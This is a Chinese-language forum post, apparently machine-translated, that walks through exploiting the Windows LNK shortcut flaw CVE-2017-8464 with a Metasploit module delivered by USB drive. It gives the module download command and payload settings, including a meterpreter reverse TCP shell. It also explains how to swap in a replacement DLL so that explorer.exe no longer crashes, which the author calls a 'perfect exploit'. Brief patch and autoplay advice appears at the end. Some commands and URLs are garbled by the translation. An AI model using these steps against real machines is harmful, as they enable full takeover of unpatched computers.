cnhackteam7 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 北京时间6月14日凌晨,微软发布了编号为CVE-2017-8464的漏洞公告。官方介绍,Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞。黑客可以通过u盘、网络共享等方式触发漏洞,完全控制用户系统,安全风险大。 该漏洞的原理与2010年美国和以色列入侵并摧毁伊朗核设施时使用的Stuxnet非常相似,因此也被一些人称为“第三代Stuxnet”。 但国内一些通过百度搜索关键词“cve-2017-8464 Recurrence”找到的文章,对该漏洞的重现有误解,误将powershell代码执行按快捷方式作为该漏洞的利用方式。 因此,本文将纠正这一错误。 此外,目前可供测试的msf攻击脚本中有一个缺陷。漏洞被触发后,进程explorer.exe崩溃,漏洞利用不完善。 考虑到距离补丁发布日期已经超过45天,本文将公开使用脚本中的bug修复方法,实现对该漏洞的“完美利用”。 0x01 简介 本文将介绍以下内容: 简介 测试漏洞 错误修正 保护 0x02 漏洞简介 此漏洞是在Microsoft Windows系统中处理LNK文件过程中的远程代码执行漏洞。 当一台易受攻击的计算机被插入带有病毒木马的u盘时,漏洞攻击者无需任何额外操作就能完全控制用户的计算机系统。 用户访问网络共享、从互联网下载文件和复制文件也可能触发和利用此漏洞。 也就是说,在以下任何情况下都会触发漏洞: 1.系统开启u盘自动播放功能,插入u盘,漏洞触发。 2.通过网络共享访问文件目录。 3.直接访问文件目录。 0x03 漏洞测试 目前,有两种脚本可用于在开放渠道中进行测试: 1、msf利用脚本 作者:ykoster 下载地址:https://github.com/rapid7/metasploit-framework/pull/8767 2、python利用脚本 作者:nixawk 下载地址:3359 github . com/nix awk/labs/blob/master/CVE-2017-8464/exploit _ CVE-2017-8464 . py 本文重点测试msf脚本,复制exp到u盘,测试如何利用u盘触发的漏洞。 实际测试: 测试系统:kali 2.0 1、下载msf脚本 CD/usr/share/metasploit-framework/modules/exploits/windows/file format/ wget https://raw . githubusercontent . com/ykoster/metasploit-framework/169 e 00 BF 3442447324 df 064192 db 62 CDC 5b 5 b 860/modules/exploits/windows/file format/CVE _ 2017 _ 8464 _ lnk _ rce . Rb 2、生成exp 使用exploits/windows/file format/CVE _ 2017 _ 8464 _ lnk _ rce 设置有效负载windows/x64/exec 设置cmd calc.exe 设置EXITFUNC线程 剥削 注: 默认情况下,msf脚本对应于系统Windows x64,因此有效负载也选择64位exec。 参数设置如下 执行后,在/root/.msf4/local/中会生成24个利用率文件,如下图所示 在kali2.0下不能直接访问这个文件夹,可以通过命令行复制/root/.msf4/local/to /root/1下的所有文件。 该命令如下所示: cp -r /root/.msf4/local//root/1 复制文件,如下所示 将以上文件复制到u盘,在另一个未打补丁的Win7 x64系统上测试。 3、测试 Calc.exe成功地实施了,但是explorer.exe的进程崩溃了。 如下图 注: 可以通过格式化USB闪存驱动器来删除USB闪存驱动器中的利用率脚本。 然后,分别进行以下测试: 测试Win10 x64 有效负载替换:setpayload windows/x64/meter preter/reverse _ TCP 还是一样的结果。 再看github,其他人也遇到了同样的问题,如下图。 更多答复,请见:https://github.com/rapid7/metasploit-framework/pull/8767. 4、更多测试 试试32位系统。 该脚本支持32位系统,切换命令如下: 设定目标1 设置有效负载windows/exec 如下图 但测试结果不尽如人意,依然失败。 0x04 bug修复 省略调试过程,直接给出最简单的解决方案:更换dll。 Msf总共生成了24个文件,包括1个dll文件和23个lnk文件。 如下图 注意: 对于23个lnk文件,最后一个文件名代表u盘的盘符。如果测试系统的u盘是E盘,则只留下最后一个文件名为“E”的lnk文件,其他lnk文件都可以删除。 bug的原因在于dll,用自己的dll替换就行了。 可用于测试的32位dll下载地址: https://github.com/3gstudent/test/blob/master/calc.dll 可用于测试的64位dll下载地址: https://github.com/3gstudent/test/blob/master/calc_x64.dll 不会导致进程explorer.exe崩溃,测试如下 插入u盘自动播放触发的漏洞测试如下图所示。 至此,bug被成功修复。 测试实验地址: https://github.com/3gstudent/CVE-2017-8464-EXP 0x05 防御 1、安装补丁 Microsoft官方补丁下载地址: https://portal . msrc . Microsoft . com/en-us/security-guidance/advisory/CVE-2017-8464 30漏洞补丁修复工具下载地址: http://b.360.cn/other/stuxnet3fixtool 2、关闭U盘自动播放功能 0x06 小结 本文CVE-2017-8464的msf经过脚本测试,修复了其中的bug。在技术层面上,实现了对该漏洞的“完美利用”。请不要将其用于非法目的。这里再次提醒普通用户经常打补丁的必要性。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子